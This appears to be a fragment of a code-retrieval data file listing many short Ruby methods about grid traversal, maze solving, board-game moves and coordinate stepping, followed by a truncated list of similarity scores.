"def step(start_point, end_point, increment)\n current_value = start_point\n loop do\n yield(current_value)\n break if current_value + increment > end_point\n current_value += increment\n end\n current_value\nend",
"def find_start_and_finish\n grid.each_with_index do |row, row_idx|\n row.each_with_index do |spot, col_idx|\n if spot == START_MARK\n @start = [row_idx, col_idx]\n elsif spot == END_MARK\n @finish = [row_idx, col_idx]\n end\n end\n end\n end",
"def looping_position_check(bitmap, point1)\n if Looping_Background\n plus_x = (Graphics.width - bitmap.width)/2\n plus_y = (Graphics.height - bitmap.height)/2\n else\n plus_x = Graphics.width / 2\n plus_y = Graphics.height / 2\n end\n if point1\n @point1.set(*initpos_1)\n @point1.x += plus_x\n @point1.y += plus_y\n else\n @point2.set(*initpos_2)\n @point2.x += plus_x\n @point2.y += plus_y\n end\n end",
"def each(&block)\n loop do\n block.call(@current)\n\n @current = (@current + step) % @to\n break if @current == @first_pick || finished?\n end\n end",
"def ensure_adjacent_rooms(map)\n map.each do |row|\n x_coordinate = map.index(row)\n row.each do |room|\n index = map[row].index(room)\n puts index\n end\n\n \n # x_coordinates = row.collect! { |room| room = row.index(room) }\n \n # x_coordinates.each { |coordin| puts coordin } \n # \n # row.each { |coordin| puts coordin } \n end\nend",
"def x_test_consecutive(coordinates)\n x_range_index = @x_range.index(get_x_coordinate(coordinates[0]).to_i)\n x_test_consecutive = true\n coordinates.each_index do |c_index|\n if get_x_coordinate(coordinates[c_index]).to_i != @x_range[x_range_index]\n x_test_consecutive = false\n end\n x_range_index += 1\n end\n\n x_test_consecutive\n end",
"def finished?\n #positions = {:a => 25, :b => 30}\n @position.each do |pl, pos|\n if pos >= @length\n return true\n else\n return false\n end\n end\n end",
"def get_next_player(start)\n for i in 1..10\n to_check = (start + i)%10 + 10\n if self.players.where(:location => to_check).length == 1\n player = self.players.where(:location => to_check)[0]\n if player.in_hand\n return player.location\n end\n end\n end\n return -10\n end",
"def each\n return enum_for(:each) unless block_given?\n @size.times do\n json_feature = @features[rand(0..@features.length)]\n next if json_feature.nil?\n location = json_feature['location']\n pt = Routeguide::Coordinate.new(\n Hash[location.each_pair.map { |k, v| [k.to_sym, v] }])\n p \"- next point is #{pt.inspect}\"\n yield pt\n sleep(rand(0..1))\n end\n end",
"def get_next_coords(direction)\n x, y = get_head_coords[:x], get_head_coords[:y]\n case direction\n when 'S'\n y += 1\n when 'N'\n y -= 1\n when 'E'\n x += 1\n when 'W'\n x -= 1\n end\n return x, y\n end",
"def next_starting_position\n\t\tpos = @starting_positions[@pos_idx]\n\t\t@pos_idx = (@pos_idx + 1) % @starting_positions.length\n\t\tpos\n\tend",
"def obstructed?(current_pos,other_pos,board)\n # debugger\n tester = other_pos\n # puts tester\n # sleep 2\n\n #\n # (-1..1).each do |i|\n # (-1..1).each do |j|\n\n\n if other_pos[0] > current_pos[0] #New position is below us\n if other_pos[1] > current_pos[1] #new position is on our right--bishop move\n tester[0] -= 1\n tester[1] -= 1\n until tester == current_pos\n # puts board.grid[tester[0]][tester[1]]\n # puts !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n # sleep 2\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n # return false if the piece at tester is not a nul piece\n tester[0] -= 1\n tester[1] -= 1\n end\n\n elsif other_pos[1] < current_pos[1] #new position on our left\n until tester == current_pos\n tester[0] -= 1\n tester[1] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n elsif other_pos[1] == current_pos[1] #new position is on our level horizontally\n until tester == current_pos\n tester[1] -= 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n end\n\n elsif other_pos[0] < current_pos[0] #New position is above us\n if other_pos[1] > current_pos[1] #new position is on our right\n until tester == current_pos\n tester[0] += 1\n tester[1] -= 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n elsif other_pos[1] < current_pos[1] #new position on our left\n until tester == current_pos\n tester[0] += 1\n tester[1] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n else #new position is on our level horizontally\n until tester == current_pos\n tester[0] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n end\n\n else #new position is at our level vertically\n if other_pos[1] > current_pos[1] #new position is on our right\n until tester == current_pos\n tester[1] -= 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n elsif other_pos[1] < current_pos[1] #new position on our left\n until tester == current_pos\n tester[1] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n\n end\n end\n\n return false if board.grid[other_pos[0]][other_pos[1]].color == self.color\n # puts \"hello\"\n # sleep(2)\n true\n\n end",
"def cursor_up\n $game_system.se_play($data_system.cursor_se)\n $game_troop.enemies.size.times do\n @index += $game_troop.enemies.size - 1\n @index %= $game_troop.enemies.size\n break if self.enemy.exist?\n end\n end",
"def each_direction(x, y)\n\t\tyield x-1, y if x > 0 #up\n\t\tyield x, y-1 if y > 0 #left\n\t\tyield x, y+1 if @map[x][y+1] #right\n\t\tyield x+1, y if @map[x+1]\n\tend",
"def move_to_next_location(current)\n return nil if current < 0 || current > 7\n\n current = current.to_i\n range = @map[current].length - 1 unless @map[current].length <= 1\n # Randomly go to a neighboring location\n next_location = generator_rand(range.to_i)\n\n next_location += 1 if next_location.zero?\n\n puts \"Heading from #{@map[current][0]} to #{@map[current][next_location]}.\"\n\n result = @iterator.get_next_location(@map[current][next_location])\n result\n end",
"def move_to_first_open_position\n valid_positions.shuffle.each do |coordinate_array|\n if maze[coordinate_array[0]][coordinate_array[1]] == open_value\n if @maze[leading_x][leading_y] == open_value\n @maze[leading_x][leading_y] = path_value\n elsif\n @maze[leading_x][leading_y] = visited_value\n end\n @leading_x = coordinate_array[0]\n @leading_y = coordinate_array[1]\n return\n end\n end\n valid_positions.shuffle.each do |coordinate_array|\n if maze[coordinate_array[0]][coordinate_array[1]] == path_value\n @maze[leading_x][leading_y] = visited_value\n @leading_x = coordinate_array[0]\n @leading_y = coordinate_array[1]\n break\n end\n end\n end",
"def enumerated(start_t, delta_t)\n Enumerator.new do |yielder|\n point_position = start_t.to_f\n number = point_on_curve(point_position)\n loop do\n yielder.yield(number)\n point_position += delta_t.to_f\n raise StopIteration if point_position > 1.0\n number = point_on_curve(point_position)\n end\n end\n end",
"def seek\n while @next < @n && @ptns[@next].size == @nums[@next]\n @next += 1\n end\n @next < @n # return true/false\n end",
"def run\n hash_num = grid.get_hash_pos(@data).length\n for k in 0...hash_num-1\n move_down(k)\n move_right(k)\n move_left(k)\n end\n end",
"def next_spot\n\t\tif @location.nil?\n\t\t\tfirst()\t\t\n\t\telse\n\t\t\tmoving()\n\t\tend\n\tend",
"def each_point(&block)\n Merit::POINTS.times(&block)\n end",
"def winner\n @position.each do |pl, pos|\n if pos >= @length\n pl\n end\n end\n end",
"def move_to(piece)\r\n cols = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\r\n rows = [1, 2, 3, 4, 5, 6, 7, 8]\r\n counter = 0; x = ''; y = ''\r\n until counter == 1\r\n print \"Enter destination coordinates: \"\r\n coordinate = STDIN.gets.chomp\r\n x = coordinate[0]; y = coordinate[1].to_i\r\n counter+=1 if ((cols.include? x) && (rows.include? y))\r\n end\r\n puts ''\r\n puts \"#{piece.class} to #{x}#{y}.\"\r\n stop = []\r\n stop[0] = cols.index(x)\r\n stop[1] = rows.index(y)\r\n stop \r\n end",
"def gen_location\n while true do\n position = rand(Avoid::SCREEN_W - height)\n return position if can_place(position)\n end\n end",
"def spiral_location(building, center)\n step_horizontal = 1\n step_vertical = 1\n #ook nog een spiral_increment nodig?\n x = center[:x] ; y = center[:y] #center location\n check = lambda { check_building(building, x, y) }\n found = false\n spiral_width = 1\n while(not found) #binnen de map!\n spiral_width.times do \n x += step_vertical\n break if found = check.call\n end\n break if found\n spiral_width.times do\n y -= step_horizontal\n break if found = check.call\n end\n break if found\n spiral_width += 1\n\n spiral_width.times do\n x -= step_vertical\n break if found = check.call\n end\n break if found\n spiral_width.times do\n y += step_horizontal\n break if found = check.call\n end\n spiral_width += 1\n end\n found ? {:x => x, :y => y} : nil\n end",
"def for_loop params\n from = params[:from] #.to_f\n to = params[:to] #.to_f\n by = params[:by].abs #.to_f\n\n from.step(to, (from > to) ? -1 * by : by) do |value|\n yield value\n end\nend",
"def take_direction! tuple, y, x, color, n=1\n #puts \"take direction #{x} #{y} (#{color})\"\n #puts \"Check at #{y}:#{x}: #{@data[y][x].class}\"\n case @data[y][x]\n when nil\n return false\n when color\n #puts \"Direction validated (#{tuple}) at #{y}:#{x}\"\n return n == 3 # true if end on the 3rd ball\n end\n y2, x2 = y + tuple[0], x + tuple[1]\n return false unless valid_xy? x2, y2\n if take_direction! tuple, y2, x2, color, n+1\n @data[y][x] = nil\n update!(y, x)\n @took[color] += 1\n #take_around! y, x, color\n return true\n end\n end",
"def occupy_grid(from_x, from_y, the_direction, the_distance, wire_index, the_base_steps, in_grid_hash)\n if the_direction.upcase == \"U\"\n the_step_x, the_step_y = 0, 1\n elsif the_direction.upcase == \"D\"\n the_step_x, the_step_y = 0, -1\n elsif the_direction.upcase == \"L\"\n the_step_x, the_step_y = -1, 0\n elsif the_direction.upcase == \"R\"\n the_step_x, the_step_y = 1, 0\n end\n the_walk_x, the_walk_y = from_x, from_y\n\n 0.upto(the_distance - 1) do |the_step_num|\n the_key = \"#{the_walk_x}_#{the_walk_y}\"\n in_grid_hash[the_key] ||= [-1,-1]\n\n in_grid_hash[the_key][wire_index] = the_base_steps + the_step_num if in_grid_hash[the_key][wire_index] < 1\n\n the_walk_y += the_step_y\n the_walk_x += the_step_x\n end\n return the_walk_x, the_walk_y\nend",
"def coordinate_cheers\n\tcheer = \"\"\n cheer_counter = 0\n until cheer == \"GAME OVER\"\n cheer = call_out_cheer\n if cheer == \"\"\n cheer_counter += 1\n else\n cheer_counter = 0\n end\n break if cheer == \"GAME OVER\" || cheer_counter == 3\n mascot_sign_for(cheer)\n\n end\nend",
"def valid_move?(a,i)\r\n if i.between?(0,8) && !position_taken?(a,i)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def get_next_box\n (1..@max_value).to_a.each do |a|\n next if @pos_count[a].nil? || @pos_count[a].empty?\n coord = @pos_count[a][-1]\n return @pos_count[a].pop if @board[coord.x][coord.y] == 0\n end\n\n return nil\n end",
"def walk(grid, x, y)\n [N, S, E, W].shuffle.each do |dir|\n nx, ny = x + DX[dir], y + DY[dir]\n if nx >= 0 && ny >= 0 && ny < grid.length && nx < grid[ny].length && grid[ny][nx] == 0\n grid[y][x] |= dir\n grid[ny][nx] |= OPPOSITE[dir]\n \n return [nx, ny]\n end\n end\n \n nil\nend",
"def grow_unblocked_moves_in_dir(dx, dy)\n x, y = @pos\n valid_positions = []\n new_x = x + dx\n new_y = y + dy\n new_pos = [new_x, new_y]\n \n while @board.valid_pos?(new_pos) \n # debugger\n\n next_piece = @board[new_pos]\n if next_piece.empty?\n valid_positions << new_pos\n elsif self.color != next_piece.color\n valid_positions << new_pos\n break\n else\n break\n end\n\n new_x += dx\n new_y += dy\n new_pos = [new_x, new_y] \n \n end\n\n valid_positions\n end",
"def get_start_floor(the_maze) \r\n the_maze.each_with_index do |floor, index| \r\n return index if get_start_position(floor) != nil \r\n end \r\nend",
"def hop!\n\t\t#loop throws die until a direction that will not bring skippy outside the boundary is found\n\t\tbegin\n\t\t\tnewpoint = @location.clone\n\t\t\tdirection = @die.throw_die\n\t\t\tcase direction\n\t\t\t\twhen :NORTH\n\t\t\t\t\tnewpoint.y = newpoint.y + 1\n\t\t\t\twhen :SOUTH\n\t\t\t\t\tnewpoint.y = newpoint.y - 1\n\t\t\t\twhen :EAST\n\t\t\t\t\tnewpoint.x = newpoint.x + 1\n\t\t\t\twhen :WEST\n\t\t\t\t\tnewpoint.x = newpoint.x - 1\n\t\t\tend\t\n\t\tend while newpoint.y > @dimension-1 || newpoint.y < 0 || newpoint.x > @dimension-1 || newpoint.x < 0\n\t\t@location = newpoint.clone\n\tend",
"def check_next_holes(original_x, original_y)\n\t\tif @direction == 1\n\t\t\tx = original_x + 1\n\t\t\ty = original_y + 0\n\t\telsif @direction == 2\n\t\t\tx = original_x + 1\n\t\t\ty = original_y + 1\n\t\telsif @direction == 3\n\t\t\tx = original_x + 0\n\t\t\ty = original_y + 1\n\t\telsif @direction == 4\n\t\t\tx = original_x - 1\n\t\t\ty = original_y + 1\n\t\telsif @direction == 5\n\t\t\tx = original_x - 1\n\t\t\ty = original_y + 0\n\t\telsif @direction == 6\n\t\t\tx = original_x - 1\n\t\t\ty = original_y - 1\n\t\telsif @direction == 7\n\t\t\tx = original_x + 0\n\t\t\ty = original_y - 1\n\t\telsif @direction == 8\n\t\t\tx = original_x + 1\n\t\t\ty = original_y - 1\n\t\telse\n\t\t\tx = 0\n\t\tend\n\t\t\n\t\tif x > 0 && x < 8 && y > 0 && y < 7 && @game_won == false\n\t\t\tnew_key = \"#{x}-#{y}\"\n\t\t\tif @game_board[new_key].owned_by_player == @current_player\n\t\t\t\t@line_count += 1\n\t\t\t\tif @line_count == 4\n\t\t\t\t\t@game_won = true\n\t\t\t\t\treturn true\n\t\t\t\telse\n\t\t\t\t\treturn check_next_holes(x, y)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@direction += 1\n\t\t\t\tif @direction > 8\n\t\t\t\t\treturn false\n\t\t\t\telse\n\t\t\t\t\t@line_count = 1\n\t\t\t\t\treturn check_next_holes(@x_to_check, @y_to_check)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def set_posts\n # puts @@START.to_s\n @maze.each_with_index do |row, i|\n row.each_with_index do |col, j|\n # puts \"@maze[i][j] is #{@maze[i][j]}\"\n @start = [i,j] if @maze[i][j] == @@START\n @end = [i,j] if @maze[i][j] == @@END\n\n if @start && @end\n return true\n end\n end\n end\n\n return false if !(@start && @end)\n return true\n end",
"def next_move\n return false if @n.zero? && @grid.empty?\n show_path\n end",
"def get_start(processed_maze)\n # start_horizontal; start_vertical = nil\n processed_maze.each_with_index do |row, vertical_index|\n row.each_with_index do |item, horizontal_index|\n if item == 'o'\n @start_vertical = vertical_index\n @start_horizontal = horizontal_index\n end\n end\n end\n end",
"def forward(position, avoid)\n possible_exits = @loop_exits.keys.select{|e| e.include?\"F\"}\n coords = 0\n\n possible_exits.each do |i|\n coords = i[0]\n if !avoid.include?coords\n coordsHash = {\"x\" => coords[0].to_i, \"y\" => coords[1].to_i}\n if position[\"y\"] - coordsHash[\"y\"] == 0 and (position[\"y\"]==0 or position[\"y\"]==5)\n elsif position[\"x\"] - coordsHash[\"x\"] == 0 and (position[\"x\"]==0 or position[\"x\"]==5)\n else\n result = clearPath(position, coordsHash)\n if result\n return coords, result\n end\n end\n\n end\n end\n return false\n end",
"def next_cell\n if has_adjacent_cell?(@current_x, @current_y)\n @current_x += 1\n get_cell(@current_x-1, @current_y)\n elsif has_adjacent_row?(@current_x, @current_y)\n @current_y +=1\n @current_x = 0\n get_cell(@current_x, @current_y-1)\n elsif get_cell(@current_x, @current_y)\n @current_x += 1\n get_cell(@current_x-1, @current_y)\n else\n nil\n end\n end",
"def each_move\n SQ.select { |i| @colors[i] == @mx }.each do |f|\n if @pieces[f] == PAWN\n t = f + UP[@mx]\n yield(f, t + 1) if @colors[t + 1] == @mn && SQ120[SQ64[t] + 1] != NULL\n yield(f, t - 1) if @colors[t - 1] == @mn && SQ120[SQ64[t] - 1] != NULL\n next unless @colors[t] == EMPTY\n yield(f, t)\n yield(f, t + UP[@mx]) if @colors[t + UP[@mx]] == EMPTY && (f >> 3) == (SIDE[@mx] - 1).abs\n next\n end\n STEPS[@pieces[f]].each do |s|\n t = SQ120[SQ64[f] + s]\n while t != NULL\n yield(f, t) if @colors[t] != @mx\n break if @pieces[f] == KING || @pieces[f] == KNIGHT || @colors[t] != EMPTY\n t = SQ120[SQ64[t] + s]\n end\n end\n end\n end",
"def find(x, y)\n a = x\n while a <= y\n puts a\n a += x \n end\nend",
"def move_raw(x, y)\n old_location = self.location\n return_value = move_raw_async x, y\n 100.times do\n break unless self.location == old_location\n sleep 0.01\n end\n return_value\n end",
"def run( current, positions, iterations, num_values )\n iterations.times do \n slice_start = current.next\n current.next = current.next.next.next.next\n destination = nil\n backoff = 1\n \n while ! destination \n search_for_label = current.value - backoff\n if search_for_label < 1\n search_for_label += num_values\n end \n destination = positions[search_for_label]\n if destination.value == slice_start.value ||\n destination.value == slice_start.next.value ||\n destination.value == slice_start.next.next.value \n destination = nil\n backoff += 1\n end\n end\n \n after_slice = destination.next\n destination.next = slice_start\n slice_start.next.next.next = after_slice\n current = current.next\n end\nend",
"def place_ships\n create_ships\n @computer_details[:ship_location] << COORDINATES.sample(5)\n p @computer_details[:ship_location]\n loop do\n i = 0\n loop do\n puts \"Enter the no. #{i + 1} attack coordinate.\"\n input = gets.chomp\n if COORDINATES.include?(input)\n unless @computer_details[:attack_coordinates].include?(input)\n @your_details[:attack_coordinates] << input\n x1 = input[0]\n y1 = input[1]\n x = 250 + X[x1]\n y = 10 + Y[y1]\n @screen.draw_line [x,y], [x + 20,y + 20], 'red'\n @screen.draw_line [x + 20,y], [x,y + 20], 'red'\n @screen.flip\n i +=1\n @computer_details[:ships_alive] -= 1 if @computer_details[:ship_location].include?(input)\n break if i >= @your_details[:ships_alive]\n else\n puts \"Already choosed this Coordinate\"\n end\n else\n puts \"This is not a valid Coordinate\"\n end\n end\n\n puts \"Now Computer Playing.....\" \n inputs = (COORDINATES - @computer_details[:attack_coordinates]).sample(@computer_details[:ships_alive])\n inputs.each do |input| \n @your_details[:attack_coordinates] << input\n x1 = input[0]\n y1 = input[1]\n x = 250 + X[x1]\n y = 250 + Y[y1]\n @screen.draw_line [x,y], [x + 20,y + 20], 'white'\n @screen.draw_line [x + 20,y], [x,y + 20], 'white'\n @your_details[:ships_alive] -= 1 if @your_details[:ship_location].include?(input)\n @screen.flip\n end\n p @computer_details[:ships_alive]\n if @computer_details[:ships_alive] == 0\n puts \"YOU WON !!!!!\"\n break\n elsif @your_details[:ships_alive] == 0\n puts \"COMPUTER WON !!!!!\"\n x1 = input[0]\n y1 = input[1]\n x = 10 + X[x1]\n y = 10 + Y[y1]\n 10.times do\n @screen.draw_line [x, y +=2], [ x + 20,y], 'white'\n end\n @screen.flip\n break\n end\n end\n p @your_details\n gets\n #@ship = Ship.new( @screen.w/2, @screen.h/2 , 'red')\n \n # Make event hook to pass all events to @ship#handle().\n #make_magic_hooks_for( @ship, { YesTrigger.new() => :handle } )\n end",
"def next_y\n state.y + state.dy\n end",
"def next_y(k, points, n)\n compare_y, new_y = points[k].y, 0\n \n begin\n k = (k+1) % n\n new_y = points[k].y\n end while (new_y == compare_y)\n \n return new_y\n end",
"def primary()\n while true\n moves = []\n map = $network.frame\n\n (0...map.height).each do |y|\n (0...map.width).each do |x|\n loc = Location.new(x, y)\n site = map.site(loc)\n\n next if site.owner != $tag\n\n next if should_wait(map, site)\n\n valid = valid_moves(map, loc)\n if valid.empty?\n opts = $directions\n #opts = site.strength == 255 ? directions : ([GameMap::DIRECTIONS[0] ] + directions\n moves << Move.new(loc, opts.shuffle.first)\n else\n moves << Move.new(loc, valid.shuffle.first)\n end\n\n end\n end\n\n $network.send_moves(moves)\n end\nend",
"def next_row\n observation_matrix.observation_matrix_rows.where('position > ?', position).order(:position).first\n end",
"def x_and_y\n x = 1\n while true\n y = (500 - x**2) / x\n if y < x && (x**2 + x*y) == 500\n puts \"X: #{x} Y: #{y}\"\n return [x, y]\n break\n end\n x += 1\n end\nend",
"def cohesion(boids)\n neighbordist = 50\n sum = PVector.new(0, 0) # Start with empty vector to accumulate all locations\n count = 0\n boids.each do |other|\n d = PVector.dist(@location, other.location)\n if d > 0 && d < neighbordist\n sum.add(other.location) # Add location\n count += 1\n end\n end\n if count > 0\n sum.div(count)\n return seek(sum) # Steer towards the location\n else\n return PVector.new(0, 0)\n end\n end",
"def find_adjacent(position)\n [0,1].each do |k|\n offset = k * @scheme.size\n cross_offset = (k + 1) % 2 * @scheme.size\n @scheme.size.times do |i|\n index = offset + i\n line_permutation = @scheme.maps_to_permutations_array[index][position[index]]\n line_permutation.leads_to.each do |line_map, index_to_be_filled|\n if position[cross_offset + index_to_be_filled][i].zero?\n l, position[index] = position[index], line_map\n yield position\n position[index] = l\n end\n end\n end\n end\n end",
"def grow_unblocked_moves_in_dir(dx,dy)\n start_x, start_y = self.pos\n #start for rook white === [7,0]\n # [6,0]\n # [5,0]\n # [4,0]\n # [3,0]\n # [2,0]\n\n dx = -1 #first iteration UP\n dy = 0\n\n\n 1.step do |i|\n start_x += dx\n start_y += dy\n if self.board.rows[start_x][start_y].empty? #[6,0]\n\n end\n # create an array to collect moves\n\n # get the piece's current row and current column\n\n\n # in a loop:\n # continually increment the piece's current row and current column to \n # generate a new position\n # stop looping if the new position is invalid (not on the board); the piece \n # can't move in this direction\n # if the new position is empty, the piece can move here, so add the new \n # position to the moves array\n # if the new position is occupied with a piece of the opposite color, the \n # piece can move here (to capture the opposing piece), so add the new \n # position to the moves array\n # but, the piece cannot continue to move past this piece, so stop looping\n # if the new position is occupied with a piece of the same color, stop looping\n\n # return the final moves array\n end\n \nend",
"def nextMove(n,r,c,grid)\n return false if n == 0 && grid.empty?\n\n bot_position = getBotPosition(n, grid)\n princess_position = findPrincessPosition(n, grid)\n\n bot = bot_position.flatten!\n princess = princess_position.flatten!\n\n return false unless bot[0] == r\n if bot[0] < princess[0]\n puts 'DOWN'\n elsif bot[0] > princess[0]\n puts 'UP'\n elsif bot[1] > princess[1]\n puts 'LEFT'\n elsif bot[1] < princess[1]\n puts 'RIGHT'\n end\nend",
"def check_coords(coord)\n target = $new_game.grid[coord[0]][coord[1]]\n if target[:ship] == true\n $new_game.hits += 1\n $new_game.targets -= 1\n target[:display] = \"XX\"\n self.hit\n else\n # Miss\n target[:display] = \"OO\"\n $new_game.lives -= 1\n self.miss\n end\n $prompt.collect_coords\n end",
"def immediate_neighbours(point)\n\t\t\tneighbours = []\n\t\t\t@new_points.each{|p|\n\t\t\t\tnext if p.items == point.items\n\t\t\t\td = distance(point.items,p.items)\n\t\t\t\tneighbours.push(p) if d < @epsilon\n\t\t\t}\n\t\t\tneighbours\n\t\tend",
"def generate_occupied_points(a_size, a_origin, a_direction)\n\toccupied = [a_origin]\t\n\tneighbor = a_origin\n\t(a_size - 1).times do \n\t\tneighbor = neighbor.next_at(a_direction)\n \t\toccupied = occupied + [neighbor]\n\tend\t\n\tset_occupied_points(occupied) \n end",
"def check_for_tie\n filled_spots = []\n i = 1\n board.each do |spot|\n if spot == i\n i += 1\n else\n filled_spots.push(i)\n i += 1\n end\n next\n end\n filled_spots.length == 9\n end",
"def move_from\r\n puts ''\r\n cols = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\r\n rows = [1, 2, 3, 4, 5, 6, 7, 8]\r\n counter = 0; x = ''; y = ''\r\n until counter == 1\r\n print \"Enter starting coordinates: \" \r\n coordinate = STDIN.gets.chomp\r\n if coordinate == 'save' or coordinate == 'Save' or coordinate == 'S'\r\n save_game\r\n puts 'PROGRESS SAVED!'\r\n end\r\n if coordinate == 'exit' or coordinate == 'Exit' or coordinate == 'E'\r\n counter += 1\r\n save_game\r\n puts \"Exits and saves!\"\r\n throw :finish\r\n end\r\n x = coordinate[0]; y = coordinate[1].to_i\r\n counter+=1 if ((cols.include? x) && (rows.include? y))\r\n end\r\n start = []\r\n start[0] = cols.index(x)\r\n start[1] = rows.index(y)\r\n start \r\n end",
"def next_positions(pos)\n\tresult = []\n\tmoves = [[1, 2], [-1, 2], [1, -2], [-1, -2], [2, 1], [2, -1], [-2, 1], [-2, -1]]\n\tmoves.each do |move|\n\t\tpossibility = [pos[0] + move[0], pos[1] + move[1]]\n\t\tif possibility[0].between?(0, 7) && possibility[1].between?(0, 7)\n\t\t\tresult << possibility\n\t\tend\n\tend\n\treturn result\nend",
"def get_start_coordinates\n start_coord = []\n until start_coord_valid?(start_coord)\n puts \"START COORDINATES\"\n start_coord = @current_player.get_user_input\n start_coord = [] if [\"reset\", \"save\", []].include?(do_special_input_stuff(start_coord)) #hackhackhack\n end\n print_board(start_coord)\n puts \"Move #{@board[start_coord[0]][start_coord[1]].class.to_s.upcase} where?\"\n return start_coord\n end",
"def move_to_next_generation\n @x.times{ |r|\n @y.times{|c| \n @mat[r][c].step_generation\n }\n } \n end",
"def valid_move?(position)\n position = position.to_i - 1\n if position_taken?(position) == false && position.to_i.between?(0, 8)\n return true\nelsif position_taken?(position) == true\n return false\nelse \n return false\nend\nend",
"def next_possible_moves\n positions_array = []\n x = @position[0]\n y = @position[1]\n next_position = [x+1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y-1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y-1]\n positions_array << next_position if position_check(next_position)\n positions_array\n end",
"def find_any(from)\n (cells_set.all_row_neighbours(from) + cells_set.all_col_neighbours(from)).each do |cell_end|\n cycle = find(from, cell_end)\n return cycle if cycle\n end\n end",
"def steps\n infect the cell at a\n while we have more? new_infections do\n spread a new_infection\n more cowbell!\n end\n if the maze is infected? at b then return the generation at b else return 0 end\n end",
"def advance_players!\n until finished? != nil\n @players.times do |current_player|\n new_location = @current_location[current_player] + @dice.roll\n unless new_location > @length-1 || finished? != nil\n @track[current_player][@current_location[current_player]] = \".\"\n @current_location[current_player] = new_location\n @track[current_player][new_location] = \">\"\n end\n end\n print_track\n sleep 1\n end\n end",
"def points_on_a_line(x0, y0, x1, y1)\n raise NotImplementedError\n dx = (x1 - x0).abs\n dy = -(y1 - y0).abs\n step_x = x0 < x1 ? 1 : -1\n step_y = y0 < y1 ? 1 : -1\n err = dx + dy\n coords = Array.new\n coords << [x0, y0]\n (\n begin\n e2 = 2 * err\n\n if e2 >= dy\n err += dy\n x0 += step_x\n end\n\n if e2 <= dx\n err += dx\n y0 += step_y\n end\n\n coords << [x0, y0]\n end\n\n ) until (x0 == x1 && y0 == y1)\n coords\n end",
"def each\n while true do\n yield\n break if ! advance\n end\n end",
"def move_somewhere(bram, dead_space, astar, params)\n x = bram.head[0]\n y = bram.head[1]\n open_spot = []\n surrounding_cells_within_grid(x, y, params).each do |c|\n next if dead_space.include?(c) # do not under any circumstances move there\n open_spot.push(c)\n return c unless path_is_deadend?(bram, [bram.head, c], astar, dead_space)\n end\n open_spot.first # all are dead-ends so just pick an open spot\nend",
"def end_point_in_direction(x, y, chip, dir)\n # TODO: Currently this will keep searching for an end point until it reaches\n # an empty space, the end of the board, or an opposing chip. It would be\n # more efficient to also stop searching if the distance searched exceeds\n # the number of chips needed in a row to win.\n check_x = x\n check_y = y\n loop do\n delta = @DIR_DELTAS[dir]\n opposite_dir = @DIR_OPPOSITES[dir]\n check_x += delta[0]\n check_y += delta[1]\n in_bounds = in_bounds?(check_x, check_y)\n if !in_bounds || empty?(check_x, check_y) || chip != get_chip_at(check_x, check_y)\n return [check_x - delta[0], check_y - delta[1], opposite_dir]\n end\n end\n end",
"def frame_loop\n row = @pos[0]; col = @pos[1]\n @subturn_frames.times do |frame| # subsubturn\n test_pos = get_move(@pos)\n break if @quit_flag == true\n\n if test_pos\n @logger.info(\"@pos: #{@pos}, test_pos: #{test_pos}\")\n test_grid = @turn_state.mcopy.collide(@tet, test_pos.mcopy)\n # @logger.info(test_grid.to_s)\n unless test_grid.nil?\n @pos = test_pos.mcopy\n @grid = test_grid.mcopy\n end\n @logger.info(\"TWO @pos: #{@pos}, test_pos: #{test_pos}\")\n draw(\"T: #{@turn}, ST: #{@subturn}, F: #{frame}, m: #{@move}, p: #{@pos}, score: #{@score}\") # call only if moved\n @move = nil\n # if reaches bottom, next turn\n #\n end\n STDIN.raw!\n sleep @frame_time\n end\n end",
"def build_next_moves current_node\n cur_pos = current_node.value \n\n (0...8).each do |col|\n (0...8).each do |row|\n next_pos = [col, row] \n if valid_move?(cur_pos,next_pos)\n current_node.add_child(PolyTreeNode.new(next_pos))\n @all_positions[next_pos] = true \n end\n end\n end\n end",
"def set_cell_coordinates\n x = 0\n while x < 6\n y = 0\n while y < 7\n grid[x][y].co_ord = [x + 1, y + 1]\n y += 1\n end\n x += 1\n end\n end",
"def legal(coords)\n offsets = [ [1, 2], [-1, 2], [1, -2], [-1, -2], [2, 1], [-2, 1], [2, -1], [-2, -1] ]\n moves = []\n offsets.each do |offset|\n move = [@row+offset[0], @column+offset[1]]\n moves << move\n end\n #loop through possible moves\n moves.each do |move|\n #if chosen coords = moves array coords check if occupied\n if coords === move\n return occupied?(coords)\n end\n end\n return false \n end",
"def each(&blk)\n coordinates.each { |coordinate| yield coordinate }\n end"
] |
[
"0.6523282",
"0.6360793",
"0.6354928",
"0.63234884",
"0.63194156",
"0.631505",
"0.6284666",
"0.6135726",
"0.60872346",
"0.6002506",
"0.5974839",
"0.5931942",
"0.58962446",
"0.5892695",
"0.58629024",
"0.5848547",
"0.5833824",
"0.5828226",
"0.5788702",
"0.577835",
"0.57647467",
"0.5754571",
"0.57376766",
"0.57313484",
"0.5723006",
"0.57208645",
"0.57141876",
"0.5712315",
"0.56765157",
"0.56748164",
"0.5649346",
"0.56283724",
"0.5625202",
"0.5623156",
"0.56134355",
"0.5592393",
"0.55844265",
"0.5582225",
"0.5568051",
"0.5563583",
